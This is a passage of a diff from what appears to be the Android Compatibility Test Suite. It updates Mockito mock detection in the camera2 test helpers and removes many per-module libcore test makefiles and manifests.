+        public boolean matchesObject(Object obj) {
             TotalCaptureResult result = (TotalCaptureResult)obj;
             Long timeStamp = result.get(CaptureResult.SENSOR_TIMESTAMP);
             if (timeStamp != null && timeStamp.longValue() > 0L) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java b/tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
index 2506be9..58d1383 100644
--- a/tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
+++ b/tests/camera/src/android/hardware/camera2/cts/helpers/CameraSessionUtils.java
@@ -33,7 +33,7 @@
 
 import junit.framework.Assert;
 
-import org.mockito.internal.util.MockUtil;
+import org.mockito.Mockito;
 
 import java.util.List;
 import java.util.concurrent.LinkedBlockingQueue;
@@ -181,7 +181,7 @@
         checkCollectionElementsNotNull(outputs, "outputs");
 
         CameraCaptureSession session = listener.getConfiguredSession(device, outputs, handler);
-        if (new MockUtil().isMock(listener)) {
+        if (Mockito.mockingDetails(listener).isMock()) {
             verify(listener, never()).onConfigureFailed(any(CameraCaptureSession.class));
             verify(listener, never()).onClosed(eq(session));
             verify(listener, atLeastOnce()).onConfigured(eq(session));
@@ -219,7 +219,7 @@
 
         Pair<TotalCaptureResult, Long> result = listener.getCapturedResult(session, request,
                 handler);
-        if (new MockUtil().isMock(listener)) {
+        if (Mockito.mockingDetails(listener).isMock()) {
             verify(listener, never()).onCaptureFailed(any(CameraCaptureSession.class),
                     any(CaptureRequest.class), any(CaptureFailure.class));
             verify(listener, atLeastOnce()).onCaptureStarted(eq(session), eq(request),
diff --git a/tests/core/Android.mk b/tests/core/Android.mk
index e9c9793..7a2a708 100644
--- a/tests/core/Android.mk
+++ b/tests/core/Android.mk
@@ -14,4 +14,6 @@
 
 LOCAL_PATH:= $(call my-dir)
 
+BUILD_CTSCORE_PACKAGE:=$(LOCAL_PATH)/ctscore.mk
+
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/libcore/Android.mk b/tests/core/libcore/Android.mk
deleted file mode 100644
index 5a897eb8..0000000
--- a/tests/core/libcore/Android.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-BUILD_CTSCORE_PACKAGE:=$(LOCAL_PATH)/../ctscore.mk
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/libcore/com/Android.mk b/tests/core/libcore/com/Android.mk
deleted file mode 100644
index c1df39a..0000000
--- a/tests/core/libcore/com/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.com
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/com/AndroidManifest.xml b/tests/core/libcore/com/AndroidManifest.xml
deleted file mode 100644
index 8790a7e..0000000
--- a/tests/core/libcore/com/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.com">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/conscrypt/Android.mk b/tests/core/libcore/conscrypt/Android.mk
deleted file mode 100644
index cd8559c..0000000
--- a/tests/core/libcore/conscrypt/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.conscrypt
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests conscrypt-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/conscrypt/AndroidManifest.xml b/tests/core/libcore/conscrypt/AndroidManifest.xml
deleted file mode 100644
index b299793..0000000
--- a/tests/core/libcore/conscrypt/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.conscrypt">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/dalvik/Android.mk b/tests/core/libcore/dalvik/Android.mk
deleted file mode 100644
index 501c674..0000000
--- a/tests/core/libcore/dalvik/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.dalvik
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/dalvik/AndroidManifest.xml b/tests/core/libcore/dalvik/AndroidManifest.xml
deleted file mode 100644
index ca34678..0000000
--- a/tests/core/libcore/dalvik/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.dalvik">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_annotation/Android.mk b/tests/core/libcore/harmony_annotation/Android.mk
deleted file mode 100644
index 6746cf3..0000000
--- a/tests/core/libcore/harmony_annotation/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_annotation
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_annotation/AndroidManifest.xml b/tests/core/libcore/harmony_annotation/AndroidManifest.xml
deleted file mode 100644
index c83ecf2..0000000
--- a/tests/core/libcore/harmony_annotation/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_annotation">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_beans/Android.mk b/tests/core/libcore/harmony_beans/Android.mk
deleted file mode 100644
index 2131ae0..0000000
--- a/tests/core/libcore/harmony_beans/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_beans
-LOCAL_STATIC_JAVA_LIBRARIES := apache-harmony-tests
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_beans/AndroidManifest.xml b/tests/core/libcore/harmony_beans/AndroidManifest.xml
deleted file mode 100644
index b9b161c..0000000
--- a/tests/core/libcore/harmony_beans/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_beans">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_io/Android.mk b/tests/core/libcore/harmony_java_io/Android.mk
deleted file mode 100644
index 3108f30..0000000
--- a/tests/core/libcore/harmony_java_io/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_io
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_io/AndroidManifest.xml b/tests/core/libcore/harmony_java_io/AndroidManifest.xml
deleted file mode 100644
index e69d4b4..0000000
--- a/tests/core/libcore/harmony_java_io/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_io">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_lang/Android.mk b/tests/core/libcore/harmony_java_lang/Android.mk
deleted file mode 100644
index e333708..0000000
--- a/tests/core/libcore/harmony_java_lang/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_lang
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_lang/AndroidManifest.xml b/tests/core/libcore/harmony_java_lang/AndroidManifest.xml
deleted file mode 100644
index 1a5a748..0000000
--- a/tests/core/libcore/harmony_java_lang/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_lang">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_math/Android.mk b/tests/core/libcore/harmony_java_math/Android.mk
deleted file mode 100644
index 5889f85..0000000
--- a/tests/core/libcore/harmony_java_math/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_math
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_math/AndroidManifest.xml b/tests/core/libcore/harmony_java_math/AndroidManifest.xml
deleted file mode 100644
index 4cdf654..0000000
--- a/tests/core/libcore/harmony_java_math/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_math">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_net/Android.mk b/tests/core/libcore/harmony_java_net/Android.mk
deleted file mode 100644
index 95218c4..0000000
--- a/tests/core/libcore/harmony_java_net/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_net
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_net/AndroidManifest.xml b/tests/core/libcore/harmony_java_net/AndroidManifest.xml
deleted file mode 100644
index db14fa9..0000000
--- a/tests/core/libcore/harmony_java_net/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_net">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_nio/Android.mk b/tests/core/libcore/harmony_java_nio/Android.mk
deleted file mode 100644
index 5bdfd17..0000000
--- a/tests/core/libcore/harmony_java_nio/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_nio
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_nio/AndroidManifest.xml b/tests/core/libcore/harmony_java_nio/AndroidManifest.xml
deleted file mode 100644
index 0221ebb..0000000
--- a/tests/core/libcore/harmony_java_nio/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_nio">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_text/Android.mk b/tests/core/libcore/harmony_java_text/Android.mk
deleted file mode 100644
index 21113e5..0000000
--- a/tests/core/libcore/harmony_java_text/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_text
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_text/AndroidManifest.xml b/tests/core/libcore/harmony_java_text/AndroidManifest.xml
deleted file mode 100644
index 6818053..0000000
--- a/tests/core/libcore/harmony_java_text/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_text">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_java_util/Android.mk b/tests/core/libcore/harmony_java_util/Android.mk
deleted file mode 100644
index f34295e..0000000
--- a/tests/core/libcore/harmony_java_util/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
